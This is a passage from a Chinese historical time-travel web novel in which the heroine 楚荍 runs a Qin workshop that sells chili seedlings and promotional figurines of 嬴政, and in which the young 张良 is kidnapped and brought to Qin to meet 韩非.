另一部分则是摆放整齐的各类加工好的面粉，有粟、麦子、豆子等磨好的粉。门外墙上挂了一块大木板，木板上糊着张纸，纸上则是画的用面粉做面条和包子的步骤，是图文结合的。画是卫兰画的，栩栩如生，便是不识字，看图也能看懂。
而且面条和包子是现做的，不少人已经把做面条包子的地方围得水泄不通，新奇的看着“面粉”怎么通过加水揉搓变成细细的面条和圆乎乎的包子。
还有一部分则摆着翠绿的辣椒苗和由格物府改进后的新农具。摆辣椒苗的地方还摆着张桌子，上面放着一盆由格物府暖房培育出来长大的辣椒，还有切好的饼和辣椒酱，不仅提供试吃，还有专员讲解怎么吃。
不少人好奇地看着从没见过的红彤彤的辣椒，还有那看起来就很香的饼。人家免费给你试吃，就是不买咱也尝尝不是。
结果很多人第一口就被辣到了，缓过来之后又还想再吃，但是因为准备的饼的数量有限，每人仅能尝一块。
还想再吃又吃不到，那只能买点辣椒苗回去在自家地里或者院子里种了。
不过有一批人则是直接进货，这批人都是高官家的家丁。
年节的时候楚荍借着送年礼的名头，就已经在高官之中给辣椒打了一批广告。这不，辣椒苗一开售，就都来抢购了。
一早上，格物府的东西就几乎卖空了。来晚的人连汤都不剩，只能明天请早。
晚上楚荍看着账本今天一天的营业额，笑得连嘴都合不拢了。她对着甘罗和扶苏说：“哎呀哎呀，咱们这未来一片向好、一片向好啊”
“姑姑，半个时辰了，你这嘴角都没下来过。不酸啊？”扶苏抬手指着楚荍的嘴角，揶揄道。
闻言，楚荍从被钱砸昏的喜悦中恢复一点点神志。确实有点酸哈，楚荍放下账本，抬手揉了揉自己的脸。揉完脸之后，她又接着嘴硬：“不酸，一点都不酸！要是能天天赚这么多，让我天天笑也没事。”
甘罗也笑笑，拿过账本接着看了起来。现在他倒是和楚荍一个想法，要是天天都能赚这么多，他也能天天笑。
不过今天有这么多营业额，很大一部分是得益于大批辣椒苗的订购。
可惜，这钱不能天天赚。
60.第六十章 搞钱
春去夏来，六月底，天气渐渐炎热起来。
嬴政书房内，众大臣正在议事。
“这些又是何物？”嬴政头疼地看着楚荍拿出来的这些东西，他真的不懂楚荍是什么意思。
在他桌上现在摆着一个大号的木雕小像，精细复杂。还有一个小号的木雕小像，简单许多，但也十分精美。此外，还有两个Q版的泥塑的陶器小像，分别是他和扶苏。
这些还不算，桌上还摆着两本大小画册和一副立体象棋。大画册只有图画，是纯享版。小画册则配有文字。嬴政翻了翻，发现里面的插画他和扶苏皆是主角，每一副画都还配上了一个小故事。
小故事很简单，主角也是他和扶苏，主要围绕着父慈子孝，兄友弟恭来编的，没一句是真话。
楚荍见众人皆是一脸错愕，颇为得意地解释道：“这些都是好东西呀！”
然后她口若悬河、洋洋洒洒讲了半个小时自己的一揽子推销计划。
马上七月，楚荍筹备半年的格物府专卖店终于要开业。专卖店要售卖的商品也确认的差不多，现在就只剩下这几样东西，需要得到嬴政的首肯。
嬴政的大手办，就是年初李小花雕刻的那个衣袂翩翩、持剑而立，长龙盘旋而上的木雕手办。
这个木雕手办的精美程度，半年的时间，也只备出三十个。
小手办大概只有十二厘米高，和大手办是一样的衣服和姿态，龙给去掉了，相应的细节也少了一些。
还有两个Q版的泥塑陶器手办，相比两个木雕手办就粗糙很多，细节很少，但胜在可爱。
楚荍起身小心地拿起那个大的木雕小像，仔细地跟众人介绍这件木雕的各处细节。仅仅这一个木雕，她就夸了十分钟。
末了，才问了一句：“各位大人，你们觉得这件木雕如何？”
“好，自然是好。”李斯、蒙恬等人都是笑呵呵地夸。不论别的，这件木雕确实十分精美、栩栩如生，简直和他们大王一模一样。
“是吧，我也这么觉得。”楚荍眨了眨眼，嘴角的笑容却显得有几分狡黠，“大王这木雕小像往桌上或是架子上一摆，陋室都要生辉了。更别说工作的时候要是一抬头就能看见，见木雕如见大王，那立马是头也疼腰也不酸了。各位大人们说是不是？”
听到这，李斯等人已经察觉到不对劲，这话绝对是陷阱。但偏偏他们还不能说不，大王还在上面坐着呢。
果不其然，几人刚应和地笑了几声，就听到楚荍说：
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“格物府开业当日全场八折，大王木雕小像仅有三十份，随机掉落亲签，欢迎各位大人前来抢购！”
屋内几人听完皆是眉头一挑，表情一个比一个精彩。这一个木雕抵得上他们半个月的俸禄了，寻常人哪买得起。原来是在这等着他们呢。
只有蒙恬一人疑惑地问道：“亲签是什么意思？抢购又是何意？”
闻言，楚荍嘿嘿地一笑，露出一排白牙，从她带来的盒子中又拿出一个一样的木雕，讨好地朝嬴政笑， “大王，亲签的意思便是您亲自在这上面签名。签完名后更是极具收藏价值。抢购自然是数量有限，先到先得。”
“我在上面签名？”嬴政反问，他的脸已经有些黑了。
难怪楚荍桌上摆了一排这些东西，原来是用他来做生意。
他上次还以为是楚荍歆慕于他，呵呵，他确实想的太多了。
楚荍此时完全没看出的嬴政的心里活动，接着说道：“是啊，这是小花雕的01号，您就签在这个下摆这里，刚刚好。”
“你倒是会做生意。”嬴政的脸越来越黑。
“那里那里，大王谬赞了。”
嘿嘿，她这个是01号，又有签名，简直不要太完美。楚荍在心中傻乐。
61.第六十一章 一揽子推销计划
专卖店开业这天，楚荍没有出面，她特意聘了一个掌柜。
太招人恨的事情她也没必要站在大明面上，更不必事事出风头。
你问为什么会招人恨？当然是因为她会赚很多很多很多钱啊。“仇富”嘛，很多人多少都有点。
而且专卖店的事情前期虽然由她统筹，但是肯定还是要有个掌柜的，那不如一次到位好了。
为了给专卖店开业造势，她专门从宫中借了几名歌姬和舞姬排了支乐舞，还为这场乐舞在门前搭了个舞台。
在先秦时期，乐舞是贵族才能享受的，寻常人家那里看得起这样华丽的乐舞。而且乐舞的规格都是有严格限制的，比如孔子就曾斥责季氏的“八佾舞于庭”是“是可忍孰不可忍也。”
不过春秋战国这会儿用孔子的话说是礼崩乐坏、瓦釜雷鸣，所以也没有那么严格的限制，很多人很多事都是随心而为。
楚荍提前三日就开始在全城传播乐舞的消息，这会儿又是农闲，不说万人空巷吧，也是差不多了。
清早还没开门，店外就排起了长长的队伍。正是各家要来抢购手办的家丁。
像蒙恬这种，他是真想要，不仅雕刻得栩栩如生，而且还可以更换武器，这谁不想要啊！李斯这种，是一半想要一半不想要，想要是因为确实如楚荍所说，这个木雕很有收藏价值。但不想要则是因为觉得自己被架在这里，便是不想要也不能不买。所以心里有些抵触。
而王绾这种，他是真不想买。别误会，他不想要的原因仅仅是因为他更喜欢玉器和金器。但他又不能不买。不然别人都买了就他没买，别人家里都摆着大王的木雕小像，就他没有。要是被打小报告了，他的政治生涯还要不要了。
这不是钱和想不想要的问题，这是要进步的问题。
楚荍就是看清了这点，所以才让他们这些人捏着鼻子也要买。
并且开业福利除了最直接的全场八折，楚荍还推出了购买商品达到三件就随即送一件嬴政或者扶苏的Q版泥塑陶器小像。
你说这店门口摆着，有专人看着的大木雕手办咱买不起，这送的还能不要吗！
送的都不要还是不是老秦人了！
而且以后下象棋，你把帅棋换成大王或者公子的小像摆着。那首先在气势上，你就压制住对面了。那多帅呀是不是！
除了乐舞，楚荍还安排了一场相声。就是根据画册上的故事，把扶苏和嬴政之间那些“感人肺腑”“父慈子孝”的事迹编成了更有趣的一种方式。
之前开会的时候还有人不同意呢，觉得低俗。然后就
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楚荍狠狠给驳斥了回去。
道德的舆论高地你不去占领，那就得被别人占领。咱秦国都吃了多少这样的亏了，被六国鄙夷为虎狼之国，不懂文礼。不就是因为在文化洼地。别人想如何抹黑你就如何摸黑你。而且嬴政在六国的名声也不用她多说了吧，就没有一句好话。
所以照她说，不仅要唱，不仅要舞，更要到六国去唱，六国去舞。
要让六国的百姓了解秦国之君到底是个怎么的人！
对于楚荍这番舆论战的话，嬴政不可置否，但是他还是小小质疑了一下，这些故事是不是编的有些太过了，他这个正主看了都牙酸。
什么扶苏高烧，药石无医，他在扶苏床边不眠不休照顾三天三夜累倒，最终感动上苍，第四日晨光破晓之时只听一声龙吟，扶苏就奇迹般的好了。
这个故事除了扶苏高烧这几个字是真的，还有一句真话吗？生病了自然有宫人照料，那里需要他亲自照顾？
结果又被楚荍反驳，故事嘛，自然是越夸张越叫座。你别管这事儿是不是真的，你就说慈父的形象立起来没有吧。目的达到了不就行了。
最后在楚荍舌战群儒之下，她的一揽子推销计划还是全票通过了。
而且从结果来看，她的计划也取得了巨大成功。
62.第六十二章 绑人
“什么，明年春耕结束就要攻打韩国？”
楚荍惊慌失措地拍案而起。
她没记错的话，历史上秦国是公元前230年打的韩国。可现在才公元前233年，明年也就才232年啊！
怎么会提前两年！
“日子还在商定，你这么激动干什么？”嬴政眉头一皱，颇为不解。
楚荍一下被问住，也知道自己表现得太激动了，只好嘿嘿一笑，装傻充愣地说：“我这、这不是听到要灭韩，所以有点激动哈哈。你们继续，你们继续。”
说完便尴尬地坐了下去。
其实想想也没问题，今年秋收刚结束，是丰收年。年初格物府推行的新农具、新的堆肥方式，以及各种有效防虫方式的宣传，都为产量提高出了份力。春夏相继开业的专卖店，又赚了不少钱。去年冬桓齮攻赵又避了一场败仗，保存了不少兵马。这样算下来，兵强马壮，粮草充足，灭韩的时间提前也不足为奇。
末了，嬴政才问了楚荍一句她有什么想法。去年她在桓齮和李信那场战争上提出的建议还不错。
“大王，军事上事情我不懂，就不乱说了。不过我有一个小小的请求。”
“哦，你说？”嬴政一挑眉，来了兴趣。
“在攻韩之前，能否先帮我抓一个人，此人名唤张良。”
“张良，可是那个出身韩国五朝宰相之家的张良？现在韩国宰相之子？”李斯问。
“李廷尉真是见多识广，正是此人。”
“那你要抓他干什么？”他又问。
“张良之于我，便如韩非之于王上。曾有人向我递过张良的文章，其年岁虽小，但足见其才，这才忍不住起了爱才之心。不过若是等到打过去再找人，肯定是找不到了。”
“所以荍才起了这个心思。各位大人都是翻手为云、覆手为雨的神通广大之人这点小事肯定是不在话下的吧。”
楚荍笑眯眯地说，不管他们答不答应，先戴顶高帽再说。
虽然她刚刚说的没一句真话，对于张良这样的谋圣，还是得趁他年轻早点搞到手。不然放跑了，后年他还要搞刺杀，处理起来更麻烦。
“虽说绑个人简单，但你也说了，此人是韩国当朝宰相之子，突然消失不见你可想过会有什么后果？”嬴政问，不知为何，楚荍这样夸这个张
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良，竟让他莫名有些不爽。一个名不经传的小子怎么跟他的韩非比？
闻言，楚荍一时也皱了皱眉。不过很快她就想出了一个完美的解决方案。
“大王，这事儿也简单啊，等人绑回来了，咱们再让他写封离家云游的家书回去不就行了。”楚荍一拍脑壳笑着说，觉得自己这个办法真是太完美了。
李斯听着听着忍不住在心里吐槽，她这先把人绑了，然后还要人家“自愿”写家书回去。
果然是黑心奸商，这心真黑啊。
这半年多，大王发给他的俸禄，转眼就进了楚荍的口袋。这么说也不准确，应该说又被楚荍赚回到大王口袋。
真是一对黑心的君臣啊！
最后，嬴政还是答应了楚荍的请求。一是楚荍很少提自己的私人请求，二就是看在楚荍这半年给他赚的钱的份上，也得答应不是。
一个月后，一辆没有任何装饰的马车停在了格物府门前，被值守的卫兵给拦了下来。
“府长，门口来了辆马车，说是找您的。”
“好，我就来了。”
楚荍看着自己手里的账本说道，头都没抬。
63.第六十三章 张良
嗯——
楚荍放下账本，伸了个长长的懒腰。终于看完了，她活动了一下自己僵硬的身子。然后想起来刚刚好像说是门口来了辆马车，是来找她的。
哎呀，她给忘了。都已经过去有一会儿了。楚荍想起来赶紧往门口赶。
在看到这辆没有任何装饰的马车的瞬间，楚荍就反应过来。
这才一个月，大王他们的动作还真快啊。
楚荍走上前掀起马车的车帘，露出里面倒躺的人。
里面那人听到动静，微微起身，朝楚荍这边望过来。但他的眼睛被布条蒙住，嘴巴也被堵住，手脚都被系的严严实实。
但尽管这人如此狼狈地躺在那里，在看到他的一瞬间，楚荍的心还是漏了一拍。
月余舟车劳顿的折腾，束发的发冠早已不知散落到何处。他一头青丝散落，凌乱之间却只让人觉得可怜。虽不见眼睛，但从其白皙的皮肤、挺翘的鼻子和苍白的嘴唇便可以想象那双眼睛该是如何的摄人心魄。
再往下，是不知因何被扯松的领口露出若隐若现的诱人锁骨。明明是如此狼狈的情形，在此人身上却自显一番风流。
楚荍咽了咽口水，放下帘子退了出去，让人把他带到自己早就准备好的房间。
那人被一路看守他的卫兵带进房间，两个卫兵一松手他便有些站不出。楚荍看出他的虚弱，赶紧让卫兵搬了把椅子，把他扶到椅子上坐下。
他坐好之后，楚荍围着他转了一圈，然后像是突然想起来什么似的，上手在他身上摸了起来。
松绑之前，她总得检查一下吧。不然万一他身上藏了什么凶器，伤到人怎么办。
你看他这个握紧的手，是不是就容易藏把土、或者沙子什么的，那多不好。这样想着，楚荍用手打开他紧握的双手。他的手是那种很漂亮的手，骨节分明。虎口的茧应该是练剑练出来的。
这样漂亮的手，她忍不住多捏了几下也是人之常情吧。楚荍松开手后，摸了摸鼻子，有些心虚地想。
然后亲手解下了覆在他眼睛上的布条。
解下布条，看到他眼睛的一瞬间，楚荍的心又漏了一拍。这双眼睛比她想象中的还要好看十倍百倍。
难怪史书上用“面若好女”来形容他。当初他在博浪沙刺杀始皇的时候，不应该用大铁锤，而应该用美人计，那样成功的概率应该更高一点。
相比扶苏的仙气出尘、清秀隽逸，而且还没张开的面容相比，张良的面容则可以用精致妩媚来形容。眉毛、眼睫、鼻子、嘴巴的角度都好像老天爷精心设计过的一样，没有一处不完美。眼波流转之间，更是风流。
“张良，对吗？”楚荍站在他面前，笑着问。脸上的表情带着几分好奇还有一丝丝的心虚。
她一个老阿姨，竟然鬼迷心窍揩人家帅小伙的油。咳咳，被人发现了她颜面何在。
张良适应了一下突如其来就的光线，眼前除了一直看押她的两个卫兵，还有一个女人。刚刚说话和摸他的应该都是这个女人。
他的脸有些泛红，更有些咬牙切齿，这女人刚刚摸他的手不老实。他长这么大，还是第一次被如此羞辱。
“你是谁？到底有什么目的。”他语气冷冽，没有丝毫慌乱。
那晚他与好友喝完酒回去的路上，被人偷袭。再醒过来的路上，就已经在马车上了。这一个月走走停停，他不知道自己在哪，更不知道抓自己的谁。
甚至在见到幕后主使之后，他也无法从她的衣着判断出她是哪国人。他还从未见过这样风格的服饰。
但这个建筑风格，还有这些桌椅，他应该是在秦国。哼，果然是秦国。张良在心中冷笑，杀害韩非先生还不够，现在还要绑架自己。就是不知他们如此大费周章，到底是何目的。
楚荍见张良冷着脸质问自己的样子，楚荍在心里忍不住喊好帅的同时也赞叹于大佬就是大佬，不会因为应为年纪小就变成“小佬”。
明明被绑了这么久，却有没丝毫慌乱，十分冷静自持。
“我是谁？”楚荍笑笑，接着说，“哦，忘了自我介绍了。”
“我是楚荍，欢迎来到秦国。”
“也没什么目的，大概是邀请你来秦国看看。”
“你管这个叫邀请？”张良简直要被这个女人气笑了。他的手和脚都还被绑着呢，真是从未见过如此无耻之人。
“或许邀请的方式有些粗暴，但你放心，我不会对你做什么的。 ”
楚荍便说便让人给他松绑，以示自己的诚意。
张良揉着自己被磨出红痕的手腕，凶狠地盯着楚荍。虽然手脚都被放开，但以他现在身体的情形，跑肯定是跑不掉的。
“我知道你不相信我，想跑我也理解。不过不如你先洗漱一下，换身干净衣裳，我已经让人打好了热水。你左手边就是洗浴间。”
“洗完后再吃顿饱饭，恢复下体力。然后我再带你去见韩非先生，你顺便熟悉一下地形，再想着跑的事情如何。”
“什么，韩非先生没死！”张良突然从椅子上站起。吓得楚荍身后的卫兵都往前走了两步。
闻言楚荍反倒一脸疑惑地反问：“啊，韩非先生什么时候死了吗？”
张良沉默下来，如果这女人没说错，韩先生没死，那国内韩先生死在秦国牢狱的消息到底是谁传的。又为什么这一年多韩先生一直没消息。
“既如此，你待会儿随我去见韩非先生就知道是真是假了。”楚荍摇摇头说道。
说完，楚荍便带着两名卫兵出去，顺便把门带上，留给他一些独处的时间。
“大人，你把他一个人留在里面，不怕他跑了吗？”其中一个卫兵问。
“不会，他没那么蠢。”楚荍笑着说，“你二人留在此处看守。”
她得去找郑威给张良炒几个秦国的特色菜才行。
和楚荍说的一样，张良没那么蠢。就他现在这个样子，人生地不熟的，就算能跑出这个房子，也不可能跑回韩国。
跑肯定是要跑的，只不过不是现在。至少也得等他见完韩非先生再说。
嬴政不可能容忍一个不效忠于他的人，如果韩先生还活着，难道？
张良不愿意相信这样的结果，以韩先生的品行，绝不会叛国。
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>洗漱完后，张良看着托盘上的新衣裳，穿上身后才发现不是秦国的服饰。倒是跟赵国“胡服骑射”的有些像，都是窄袖。而且跟那女人身上的衣裳也有些像。
一个月没洗澡，张良便洗的有些久。洗完后，刚打开门，就碰到楚荍拎着个大食盒回来。
“子房，刚好，饭好了，都是特色菜，你尝尝看喜不喜欢。”
楚荍笑着跟他打招呼，径直走了进来，将饭菜摆在桌上。两菜一汤，刚好是一个人的量。
听见楚荍对他的称呼，张良十分无语。自己跟她这个绑匪根本不熟好吗，连他的字都叫上了。不过张良也不欲多说，说到底不过一个称谓而已。
他沉默地吃完饭，便跟楚荍去见韩非。
张良来时，是马车送进来的。现在马车已经赶出去了，要出府只能步行。
路上，张良跟在楚荍身后，引得行人纷纷侧目。
有那大胆的，直接就问楚荍这是谁家小郎君，如此俊俏。还有那好事的，打趣楚荍是不是好事将近，当即就被楚荍骂了回去。
张良如今不过十六，这个年级最多做她弟弟好吧。
从他的房间到门口，有一段路程。就是从小对这种事司空见惯如张良，也忍不住有些脸红。
等到了韩非的别苑之后，张良难得忐忑起来。从新郑被绑到秦国来，都没有他此刻慌乱。
他不知道，等着他的，会是怎么样一个局面。
张良悄悄深吸口气，跟在楚荍后面走了进去。别苑不大，很快就到韩非房前。隐约中有人声传出。
楚荍敲了敲门，开门的却是扶苏。
“公子？你怎么在这？你这几日不是在宫里吗？”她有些惊讶地问。
“宫里的事情忙完了，我就到老师这里来了。”扶苏解释道，又好奇地问，“这位哥哥是？”
“他是张良，韩国人。”
“哦，这样啊。”扶苏点点头，为他们让开门口，对着张良说，“老师在里面呢，快请进吧。”
他站到楚荍身边，好奇地打量着张良。他知道张良，先生跟他提过他。听闻也是个少年天才。
听到这边的动静，韩非也起身走了过来。看到张良的瞬间他也愣住了，他没想过从韩国还会有人来找他。
“先生！”张良眼含热泪，快步走上前握住了韩非的手，“您受苦了。”
见状，楚荍带着扶苏悄悄退了出去，又轻声关上门。给二人留足空间。
门外，扶苏才问道：“姑姑，这到底是怎么回事。张良怎么会到秦国来？”
楚荍带着扶苏走远了一点，这才跟他解释整件事的来龙去脉。
“原来是这样。”扶苏点点头，自家姑姑本就是惜才之人，这样做倒是可以理解。
“不过姑姑怎么确定，他一定会留下来？”
“嗯，大概是因为，如果我是他，我会留下来的。”楚荍笑笑，自信中又带着几分耍赖，“再说，软的不行就来硬的呗。”
半个时辰后，张良才从韩非的房中走出。
只见他径直走向楚荍，眼睛通红却十分阴冷。“我们谈谈。”
64.第六十四章 夜谈
回程的路上，天色已经晚了。马车的车轮吱呀吱呀地响着。
车内很安静，张良抱着手臂在闭目休息。
楚荍和扶苏两个人大眼瞪小眼，也不敢说话。他们能察觉出张良情绪的不对。她拉过扶苏的手，在他手心写字。
在看什么，楚荍问。
扶苏用另一只手指了指张良，对楚荍比了比口型，“好看。”
辨认出扶苏说的话，楚荍忍不住露出一个“你懂我”的笑，还朝他比了个大拇指。
她还是第一次见扶苏夸人长得好看，这种真正意义上的好看。
回到格物府后，楚荍让扶苏自己先去吃饭，自己则跟张良去了他的房间。
刚刚在马车上，张良已经理清了自己的思绪。和韩非谈过之后，他也大概了解自己和韩非的境况。整个谈话中，最让他惊讶的是韩非最后那句话：如果你真的想走，楚荍不会拦你。
这句话很奇怪，也让他忍不住怀疑，韩非对楚荍这个女人信任度是不是太高了些。
不过韩非没说错，如果张良真的想走，楚荍不会留他。她很清楚，想走的人是留不住的。
就是有一个问题，楚荍不会拦他，但不代表嬴政也会这么做。对嬴政而言，花心思绑回来的人，没有放走的道理。那两个卫兵就是嬴政指派的，他二人的职责就是贴身看押监视张良。甚至楚荍也无法干涉。
所以楚荍才说软的不行就来硬的，她来软的，嬴政来硬的。胡萝卜加大棒，简直就是最好用的办法，嘿嘿。
楚荍顺手关上房门，那两个卫兵在门外值守。
“你绑我来到底有什么目的？”张良开门见山地问。楚荍绑他来此事韩非并不知晓，他也是今天见到他才知道。
“我记得我回答过这个问题了。”楚荍笑着坐下，说道。
张良冷哼一声，“如果你想兜圈子，漫漫长夜，我不介意多浪费些时间。”
“你误会了，我真的是这么想的。”楚荍摇摇头，又换了一种说法，“不过你可以理解为，我希望你能留下。”
“为什么是我？”
“我曾接见过来自韩国的一个商人，他向我提起过你。他说，像韩非先生这样的大才，韩国还有第二个。”
“这样拙劣的理由，你不会以为我会信吧。”张良勾起嘴角，冷笑着说。他虽在新郑有些有些名气，但远不到与韩非先生相提并论的程度。为了一句莫须有的话，就这样大费周章地把他绑回来，傻子才信。
楚荍见状无奈地笑笑，她确实没指望张良能信。但她实在编不出来了，之前给嬴政他们编的理由又不能用。她总不能说她是穿越过来的，知道他是未来名留青史的“谋圣”，还多次刺杀嬴政，这才提前把他绑架过来。
“我有一个问题想问子房，”她没接张良的话茬，谈话的要领之一便是把主动权握在自己手中。
“你是韩相之子，韩先生是宗室子弟，你二人可能救韩国？”
“亦或是，可有人能让韩国在这风雨飘摇的乱世免于其他诸国铁骑的无情践踏？”
“哼，哪有其他诸国，我看只有秦国吧。”张良冷哼一声，楚荍这样的设问毫无意义。
“子房此言差矣，难道六国如果同秦国一样强大，就不会有一统天下的野心吗？楚庄王当年问鼎天下，不正是有着这样的野心？”
“除非天下一统，百姓才能免于战争之苦。”
张良又是轻蔑一笑，“你若想为秦国出兵别国找一个正义的借口，那就不必再说了。”
“周王式微，晋并国十七，服国三十八，一战而霸。三家分晋后才有如今的韩国。韩国之民，又是晋国之民；晋国之民又是周朝之民。便是以后成为秦国之民，也不过是名称上的变化。他们仍然是一直生活在那片土地上的人民。”
“所以，子房，在你心里，是韩王重要，还是韩地之民更重要？”
张良望着楚荍，他简直要被她这番话逗笑了。她凭什么认为韩国一定会输，又把自己包装成正义的一方。
楚荍回望过去，她看出那双摄人心魂眼里的不屑......和名为痛苦的情绪在翻滚。
“韩国之弊，若要变，必是自下而上、大刀阔斧地变革。而说起变法，秦国可以说是改革的最彻底的那个。”
“既然你在韩国苦闷到要靠喝酒消遣，那不如留下来一段时间。纸上得来终觉浅，在秦国生活一段时间，察秦民之息，行秦民之事，你或许能找救国的良方。”
张良握住双手，指甲掐进肉里，很疼。可再痛，也比不上他心里之痛。楚荍说的没错，他家五朝宰相，可做起事来也处处掣肘。到如今，竟也是什么都做不了。
如何拯救一个病入膏肓、药石无医的病人，不如死马当活马医，下虎狼之药一试。可现在，他需要找到这个药方。
或许，他能在秦国找到这个答案。
楚荍看出张良眼里的动摇，知道她的目的达到了。于是便起身离开，临走时才想起来说一句：“对了，若子房决定留下来，记得写封家书寄回家里，别让家里人担心。”
楚荍也不知道自己说动张良没有，像他和韩非这样心志坚定之人，是很难被说服
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的。你只能尝试着去找他们的软肋，恰好，两人的软肋是一样的。那就是韩王室的昏庸无能和韩民的困苦。
与其在韩国耗着什么都做不了，不如留下寻找一丝可能性的答案，这是楚荍给出的选择。
第二日一早，楚荍打着哈欠从床上起来，眼底是两个大大的黑眼圈。昨晚她想着张良这事，都没怎么睡。
洗漱完后，她就去敲了敲张良的门，准备带他一起去食堂吃早饭。
她才敲了第一声，门就开了。只不过开门的是其中一名负责看押的侍卫。她往里面看了两眼，发现张良人不在。
“子房人呢？”楚荍问。
“他一早就起来了，说是在府里要逛逛。我昨晚值的是夜班，所以没跟着一起。”
楚荍闻言点点头，睡不着起来逛逛倒也正常。
此时，张良逛到了食堂。
他一夜未眠，在床上躺着难受便起来了。
天还没亮，除了食堂的人，其他人都还在梦乡之中。寂静的夜里只有一些稀疏的声响。
他就这样漫无目的地在府里走着，却又什么都看不下去。他脑子太乱了，各种情绪交织把他的心也塞满。
接下来要怎么做……他痛苦的扶额。
最终，他在这面墙上站定，上面写着段话，但却很难辨认。
他习过秦字，和这上面的字很不一样。
“小郎君可是不认得这字？”路过的一位大婶上前搭话，脸上满是和善的笑容。
张良疑惑地看了来人一眼，摇摇头。
“你从韩国来，不认得很正常。”那大婶笑着说，“这是我们秦国夏天推行的新字，名为隶书。这上面的话是我们格物府的立府府言。”
“天下之民和为大同，兵戈止息，无饱暖之忧，无奸人之祸。民皆众悠乐乐，晦暗阴翳之日远矣。”
“府里很多地方都贴着这样的话，每次看到这段话我都忍不住笑，太美好了。”
“您认得这些字？”张良有些震惊地反问，如果他没看错，这位大婶好像只是食堂扫洒的人员 。
“哈哈哈哈哈小郎君可别小看我，这几个字我还是认得的。我们府里开了扫盲班，一直在教我们认新字。府里好多人还没我认得多呢！小郎君要是想学，也可以去报名。”
这时，有人喊了一声吴婶，她应了一声便赶了过去。只见她回头朝张良笑着说，“小郎君看完就进来吃饭吧，今天的面发的特别好！”
张良愣怔地站在原地，心中一时五味陈杂。他突然觉得，或许留下来，也不失为一种办法……
65.第六十五章
楚荍打着哈欠走到食堂的时候，立马就看到了站在门口标语下的张良。
她慢慢走到他身边，问道：“怎么不进去？”
听到她的声音，张良才堪堪回神。他抿了抿嘴，没说话。
见状，楚荍的眉头也皱了起来，她看见了张良眼里的悲伤。怎么一个晚上不见，伤感起来了。昨晚不还是愤怒和困惑吗？
楚荍回头朝他身边的卫兵投去疑问的眼神，结果那卫兵根本没接收到楚荍的信号，瞪着个呆愣无辜的眼神就望了回来。
嗯，这下楚荍是真无语了。
她扭回头，尝试和张良沟通，结果他抬腿就往食堂里面走。
楚荍愣了一下，完全没搞清楚现在是个什么状况，但还是紧跟了上去。
她把人绑来了就有责任关注小孩的心理健康，别给人搞抑郁了。
虽然张良未来会成为大佬，但现在在她眼里还完全是个孩子。
走进食堂之后，张良有些无措地站在原地。他从没来过这种地方，不知道要怎么取自己的餐食。
楚荍看出他的窘迫，仔细为他介绍后带着他去取餐。
坐下来之后，他们碰到了吴婶，几句简单的交谈之后，楚荍就明白刚刚发生了什么。
难怪张良会露出这样的表情，稀松平常的一日，偶然之间的触动，却直抵人心。
吴婶是楚荍特意招进来的。吴婶就住在村西头，为人豪爽和善，性格细腻，对人也很好，说话做事往往能让周边的人如沐春风，不会有一点不适。
格物府这一年多来了不少从六国来的能人异士，所以楚荍特意给她交代了个任务，让她多关心关心这些远赴家乡，从六国而来的游子。让人在一个地方产生“家”的感觉，往往是从食物开始。吴婶在食堂借着食物的关系，把这个任务做得很好。
就连今天，甚至她这个一个小小善意的举动，或许比她昨晚的长篇大论都要有用。
要让韩非、张良这样的人留下来，当初扶苏给了韩非一个理由；如今吴婶也给了张良一个理由。
吃完早饭后，楚荍有些踌躇着问：“子房，今日上午我带你在这府里逛逛如何？或者你想自己逛逛也可以。不过你要是
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想去韩非先生那里的话，要等下午我陪你一起去了。”
她不知道张良这会儿是不是更想要自己独处的空间。
半晌，张良才抬眼看向她，他的语气十分冷淡，“下午陪我去韩先生那里就好。”他没有提出越界的要求，没有楚荍的陪同，他不能出这个府。
不过也无妨，这里也有很多他感兴趣的东西。既然他想留下寻找救国的良方，那便从这里开始好了。
中午，扶苏正准备从王绾那里回格物府。他之前在卢回身边坐了半个月，后来又坐到李斯旁边学了一个月。等到他确定自己在刑部要学的东西学会之后，他就去了下一个官署。最近他刚刚搬去王绾那里，也就是秦国的财务部。
扶苏走到前院的时候，马车还没有赶过来。
在等车的过程中，扶苏看到一位老婆婆在官署门口着急地观望踌躇。
“婆婆，您有事吗？”扶苏走上前扶住老人家的手问。
老人家见终于有人理自己，激动地抓住扶苏地手，“娃娃，这里是官府吗？俺家的老黄牛丢了，能帮俺找找吗？”
66.第六十六章 市民之庭
中午，楚荍从繁重的公务中抬头。
奇怪，扶苏怎么还没回来？平常扶苏从官署回来都会来喊她一起去吃中饭，今天怎么都这个点了还没回来。
楚荍稍微觉得有些奇怪，但也没多想。说不定是被什么事情绊住了。
可等到下午，授课的老师都来了，扶苏还没回。平常就是有什么突然事情，扶苏也会派人回来说一声，今天却是一点消息没有。
这下她是真着急了，立马就遣人去官署问清楚。
结果，还没走出去两步呢，王离和扶苏两人就衣冠不整地回来了。
“公子！”楚荍立马迎了上去，“出什么事了？”
只见扶苏摇摇头，朝楚荍笑笑示意她安心，“没事，有位老婆婆家里老黄牛丢了，我和王兄带着人去找，这才耽误了会时间。姑姑别担心。”
“我先去换身衣裳，具体的事情待会我再和你们说。”
楚荍点点头，让扶苏和王离先去换衣裳。两人衣摆都脏兮兮的，发冠也有些散。看来是找牛的时候往深山老林里面钻了。
片刻，扶苏和王离换完衣裳出来。楚荍就带两人去了食堂。
“你们忙到现在肯定还没吃吧。走吧，老郑给你们留了饭。”
张良在一旁看着，默默地跟了上去。他从韩非那里知道扶苏的身份，韩非没说太多，但夸赞之言溢于言表。
说实话，他是不太信的。不是怀疑扶苏的天才之名，而是不信他的仙人品格。
白玉无瑕、阆苑仙葩、仙童转世，这些不是韩非说的，是他从秦国传过来的画册上看来的。秦国所造的新纸在夏天一经发售，便火爆六国。这些画册、各种棋类和木雕小像也随之传入各国。
这些东西张良都收集了一份，他一眼便看出的隐藏在这些物品之下秦国的用意，所以对这些他自然是不屑的。
但是扶苏刚刚却说自己回来晚了是因为去帮一个老婆婆找牛。
堂堂一国长公子，竟会亲自去做这些事吗？张良从未闻哪国公子能做到这个地步。
更不谈扶苏尚小，所做之事更多一分真心。
食堂内，扶苏才把整件事慢慢道来。
那老婆婆如今六十有五，住在城郊，身体不好，性格孤僻，家里只剩她一个孤母。老伴死了，唯一一个儿子也战死，儿媳改嫁，平日里就和家里那头老黄牛相依为命。
今早起来，老婆婆发现自家的老黄牛不见，急得不行。但她腿脚又走不动，就想去找官府帮忙。结果她不认识去官府的路，一路走一路问，不知怎么就走到治粟司来了。
在门口转了半天没见着人，又不敢进去，还好碰上了扶苏。
